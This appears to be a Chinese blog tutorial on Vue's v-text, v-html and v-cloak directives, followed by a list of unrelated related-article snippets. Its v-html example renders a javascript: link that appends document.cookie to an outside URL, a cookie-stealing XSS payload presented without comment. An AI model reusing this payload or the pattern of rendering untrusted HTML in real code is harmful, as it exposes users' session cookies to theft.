v-text、v-html、v-cloak指令

v-text指令

v-text能直接替换掉 div的内容，不够灵活。如果采用插值表达式即可你随意拼接字符串。但是v-text不认字符串里的HTML代码。

v-html指令

v-html支持结构的解析，可以将HTML标签展示出来。

 <div id="root"><div v-text="userName" v-cloak></div><div v-html="str"></div></div><script src="./vue.js"></script><script>const vm = new Vue({el:'#root',data:{userName : "hello",str:"<a href=javascript:location.href='http://www.baidu.com/'+document.cookie>兄弟我找到你了</a>",}})</script>

v-html与v-text效果如下：

v-cloak指令

v-cloak指令（没有值）：

本质是一个特殊属性容器，Vue实例创建完毕并接管容器的时候，就会删掉v-cloak属性。
使用css配合v-cloak属性可以解决网速慢时候，在页面展现的{{tittle}} 问题
当此时网络非常差的时候，用户看到的界面是插值表达式，这样用户的体验是很不友好的。vue代码在介入前，模板内容没有被成功渲染。解决办法是用v-cloak指令

 <style>[v-cloak]{display: none;}</style><div id="root"><div v-cloak v-html="name"></div></div><script src="./vue.js"></script><script>const vm = new Vue({el:"#root",data:{name:"黑崎一护"}})</script>

当我们的网速非常慢的时候，或者我们vue是cdn的资源，此时vue代码慢于HTML代码，因此用户会看到{{name}} 插值表达式，但是我们加入了v-cloak属性。如果vue还没接管HTML代码，那么这个div就会消失。当网速恢复的时候，或者我们改用了本地vue代码，那么通过css代码就会将v-cloak属性移除。

v-text、v-html、v-cloak指令相关推荐

c语言求最多啤酒数,C语言，算法、动态规划:有一个箱子的容量为v(正整数，0=v=20000),同时有n个物品(0n=30)，...
满意答案 24k纯真爱l 2013.11.07 采纳率:42% 等级:12 已帮助:9552人 #include #define N 30 int xiangzi(int n ,int V ,i ...
T a(v);和T a = v;的区别
本文所说的类型T均指UDT,非built-in类型构造一个对象,有如下三种形式: 1.T a; 这个没什么好说的,调用default ctor来构造a 不过要注意的是,要么T就一个ctor也没有,编 ...
v.douyin.com/xxx v.ixigua.com/xxx抖音西瓜网址官方生成制作抖音西瓜缩短口令网址(仅供参考学习)
抖音短链:https://v.douyin.com/2vGHjMu/(仅限抖音打开) 西瓜短链:https://v.ixigua.com/2oXjpMN/ v.douyin.com是抖音官方的接口,可 ...
金山发布毒霸V及网镖V新品坚持高定价策略 (转)
金山发布毒霸V及网镖V新品坚持高定价策略 (转)[@more@] 6月3日晚,瑞星突然宣布,给用户和经销商让利2200万,并将单机版产品建议零售价调低30元,零售价格降至138元.同夜,江民宣布, ...
金山发布毒霸V及网镖V新品坚持高定价策略
6月3日晚,瑞星突然宣布,给用户和经销商让利2200万,并将单机版产品建议零售价调低30元,零售价格降至138元.同夜,江民宣布,将以38元的超低价位推出一款杀毒软件-KV江民杀毒王DOS杀毒伴侣.已 ...
v+=e不等于v=v+e
当v有副作用时,其实v+=e不等于v=v+e 计算v+=e只会求一次v的值,而计算v=v+e则会求两次v的值.在后一种情况下,对v求值可能引起的任何副作用也都会出现两次. a[i++] += 2; ...
求解！IDEA使用泛型V，K，V报红（报错），求大佬支招（已解决）
public class LRULinkedHashMap extends LinkedHashMap {public V put(K key, V value){try {lock.lock();r ...
1.JAVA猜数字游戏：一个类A有两个成员变量v、num，v有一个初值100。定义一个方法guess，对A类的成员变量v，用num进行猜。 *如果num比v大则提示大了，反之则提示小了.
思路: * 1.创建一个类,定义两个成员变量v和num,v是固定值所以直接赋值,num是键盘录入的. * 2.定义一个setNum类,将来通过对象调用将键盘录入接收的数据进行设置 * 3.创建一 ...
测试流程V模型和双v模型
软件测试的v模型和双v(w)模型 1,V模型 2,双V(W)模型双v模型和v模型最大的区别是,双v模型测试最早介入,不会把问题拖到后期放大后再来解决
【Linux】system V 消息队列 | system V 信号量(简单赘述)
文章目录 1 . system V 消息队列(了解) 接口查看消息队列 2.system V 信号量 (了解) 1.进程互斥等概念的理解 2.认识信号量 3. 接口这两部分主要是了解即可,为后面学 ...

v-text、v-html、v-cloak指令

v-text指令

v-html指令

v-cloak指令

v-text、v-html、v-cloak指令相关推荐

最新文章

热门文章